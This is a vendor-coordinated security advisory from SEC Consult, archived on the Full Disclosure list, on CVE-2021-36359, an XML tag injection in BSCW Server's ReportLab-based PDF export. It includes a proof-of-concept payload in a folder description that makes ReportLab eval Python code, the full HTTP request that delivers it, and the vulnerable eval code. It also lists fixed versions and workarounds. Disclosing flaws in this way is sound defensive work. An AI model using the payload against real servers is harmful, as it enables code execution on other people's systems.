



Site Search



[Full Disclosure](#) mailing list archives

[By Date](#) [By Thread](#)



List Archive Search



SEC Consult SA-20210827-1 :: XML Tag injection in BSCW Server

From: SEC Consult Vulnerability Lab <research () sec-consult com>

Date: Fri, 27 Aug 2021 16:02:14 +0200

SEC Consult Vulnerability Lab Security Advisory < 20210827-1 >

```
=====
title: XML Tag injection
product: BSCW Server
vulnerable version: BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2
fixed version: 5.0.12, 5.1.10, 5.2.4, 7.3.3, 7.4.3
CVE number: CVE-2021-36359
impact: high
homepage: https://www.bscw.de/classic/
found: 2021-06-30
by: Armin Stock (Atos Germany)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult, an Atos company
Europe | Asia | North America

https://www.sec-consult.com
=====
```

Vendor description:

"A versatile system for any field of application

BSCW Classic is in use around the world. With more than 500 functions, it offers the right solution for every task. Turn your ideas into reality! Our proven system has been supporting information flow and knowledge management at numerous companies for more than 20 years."

Source: <https://www.bscw.de/en/classic/>

Business recommendation:

The vendor provides a patched version for the affected products, which should be installed immediately.

Vulnerability overview/description:

1) XML Tag injection

The application allows a user with low privileges to export different objects to a 'PDF' file ('Send To -> File(PDF)') via the 'exportpdf' package. To export the content of the objects the framework ReportLab is used. This library supports different tags to export structured content:

```
-----
# File: reportlab/platypus/paraparser.py
!!! NOTE !!! THIS TEXT IS NOW REPLICATED IN PARAGRAPH.PY !!!
The ParaFormatter will be able to format the following
tags:
< /b > - bold
< /i > - italics
< u [color="red"] [width="pts"] [offset="pts"] > < /u > - underline
width and offset can be empty meaning use existing canvas line width
or with an f/F suffix regarded as a fraction of the font size
< strike > < /strike > - strike through has the same parameters as underline
< super [size="pts"] [rise="pts"] > < /super > - superscript
< sup ="pts"] [rise="pts"] > < /sup > - superscript
< sub ="pts"] [rise="pts"] > < /sub > - subscript
<font name=fontfamily/fontname color=colorname size=float>
<span name=fontfamily/fontname color=colorname backcolor=colorname size=float style=stylename>
< bullet > < /bullet > - bullet text (at head of para only)
<onDraw name=callable label="a label"/>
<index [name="callablecanvasattribute"] label="a label"/>
<link>link text</link>
attributes of links
size/fontSize/uwidth/uoffset=num
name/face/fontName=name
fg/textColor/color/ucolor=color
backcolor/backColor/bgcolor=color
dest/destination/target/href/link=target
underline=bool turn on underline
<a>anchor text</a>
attributes of anchors
fontSize=num
fontName=name
fg/textColor/color=color
backcolor/backColor/bgcolor=color
href=href
<a name="anchorpoint"/>
<unichar name="unicode character name"/>
<unichar value="unicode code point"/>

width="w%" --> fontSize*w/100 idea from Roberto Alsina
height="h%" --> linewidth*h/100 <rsalsa () netmanagers com ar>
<greek> - </greek>
<nobr> ... </nobr> turn off word breaking and hyphenation

The whole may be surrounded by <para> </para> tags
-----
```

The application does not properly encode the user content before passing it to 'ReportLab', which allows the user to inject own tags. These tags get evaluated by the 'ReportLab'.

Depending on the version of 'ReportLab' it allows the user to do a 'SSRF' (server side request forgery) attack via the 'img' tag (<https://snky.io/vuln/SNYK-PYTHON-REPORTLAB-1022145>).

There are also known vulnerabilities in 'ReportLab':

* <https://www.cybersecurity-help.cz/vdb/SB2019101613>
* <https://hg.reportlab.com/hg-public/reportlab/rev/6117091a73c2>

This allows an attacker to execute 'Python' code via the 'unichar' tag or the 'color' attribute.

Proof of concept:

1) XML Tag injection

One possible injection point is the 'description' of a folder. Using the

following payload allows the execution of the 'Python' code '28+20'.

```
<strike>hello</strike><unichar code="28+20"/>
```

The result of this code is '48' (ASCII: '0'), which gets written to the generated 'PDF' file.

```
POST /sec/bscw.cgi/1917?op=editfolder.EditFolder HTTP/1.1
```

```
Host: bscw.local:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 765
Origin: http://bscw.local:8080
DNT: 1
Connection: keep-alive
Referer: http://bscw.local:8080/sec/bscw.cgi/1917?op=editfolder.EditFolder&id=1917_2088&inside_dialog=1
Cookie: MicroblogInboxIndicatorState=%5B1629367994%2C0%5D; MicroblogSlidingPanelDisplayState=%22hidden%22;
bscw_dummy_cookie=opensesame;
bscw_auth="wsZjskoxMcIMSIIVJqlbnnOfgKqLR9hB:108"; _sec_bscws="45aa7a088a17c12646aaf10d670395cb:264"
Upgrade-Insecure-Requests: 1
```

```
op=editfolder.EditFoldersinside_dialog=1&bscw_v post=cZt8tEnZlkR%2FnH6qC15aLTjerCLR9hB&id=1917_2088&selected=editfol
der.NameTagsDescrRate&_editfolder.NameTagsDescrRate_renameo.Chname name=hello&_editfolder.NameTagsDescrRate_renameo.Ch
name=_3&_editfolder.NameTagsDescrRate_chtags.EditTags_tags=&_editfolder.NameTagsDescrRate_chtags.EditTags=_3&_editfold
er.NameTagsDescrRate_chdescr.Chdescr_descr=<strike>hello</strike><unichar
```

```
code="28+20"/>&_editfolder.NameTagsDescrRate_chdescr.Chdescr=_3&_editfolder.NameTagsDescrRate=_3&_approval.approval_ap
proval_choice=approval.inherited&_approval.addactions=approval.approval.ApprovalTaskItem#_approval.approval_
3&_autovers.maxvers=inherited&_autovers.mvnr=&_autovers._3&_ck_x=+++OK+++
```

The vulnerable code in the 'ReportLab' framework:

```
# File: reportlab\platypus\paraparser.py
def start_unichar(self, attr):
    if 'name' in attr:
        if 'code' in attr:
            self._syntax_error('<unichar/> invalid with both name and code attributes')
        try:
            v = unicodedata.lookup(attr['name'])
        except KeyError:
            self._syntax_error('<unichar/> invalid name attribute\n"%s"' % ascii(attr['name']))
            v = '\0'
    elif 'code' in attr:
        try:
            v = int(eval(attr['code']))
            v = chr(v) if isinstance(v, int) else unichr(v)
        except:
            self._syntax_error('<unichar/> invalid code attribute "%s"' % ascii(attr['code']))
            v = '\0'
```

Most likely there are more injection points to include own tags, but no further actions were taken to find them.

Vulnerable / tested versions:

BSCW Classic 5.2.3 has been used to identify the vulnerability.

The vendor confirmed the following versions to be also affected by the vulnerability:
BSCW Server <=5.0.11, <=5.1.9, <=5.2.3, <=7.3.2, <=7.4.2

Vendor contact timeline:

2021-07-31: Sent report to vendor.
2021-08-01: Vendor confirmed the issue and is working on a patch.
2021-08-19: Vendor notified licensed customers about the issue and a patch.
2021-08-27: Coordinated release of security advisory.

Solution:

The vendor provides a patched version for the affected and supported products, which should be installed immediately.

Additional information can be viewed at the vendor's support page.

Workaround:

Ensure the the used 'ReportLab' version is >= '3.5.55' to mitigate an active exploit of these known vulnerabilities.
It is also possible to disable the 'Export to PDF' function. This should be the preferred way, until the vendor provides a patch.

```
$ bin/bsadmin package -d exportpdf
```

Advisory URL:

<https://sec-consult.com/vulnerability-lab/>

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies.

Interested to work with the experts of SEC Consult?

Send us your application <https://sec-consult.com/career/>

Interested in improving your cyber security with the experts of SEC Consult?

Contact our local offices <https://sec-consult.com/contact/>

Mail: research@sec-consult.com

Web: <https://www.sec-consult.com>

Blog: <http://blog.sec-consult.com>

Twitter: https://twitter.com/sec_consult

EOF Armin Stock / @2021

Attachment: [smime.p7s](#)





Description: S/MIME Cryptographic Signature

[By Date](#) [By Thread](#)

Current thread:

SEC Consult SA-20210827-1 :: XML Tag injection in BSCW Server *SEC Consult Vulnerability Lab (Aug 27)*

Site Search

Nmap Security Scanner	Npcap packet capture	Security Lists	Security Tools	About	 
Ref Guide	User's Guide	Nmap Announce	Vuln scanners	About/Contact	
Install Guide	API docs	Nmap Dev	Password audit	Privacy	 
Docs	Download	Full Disclosure	Web scanners	Advertising	
Download	Npcap OEM	Open Source Security	Wireless	Nmap Public Source License	
Nmap OEM		BreachExchange	Exploitation		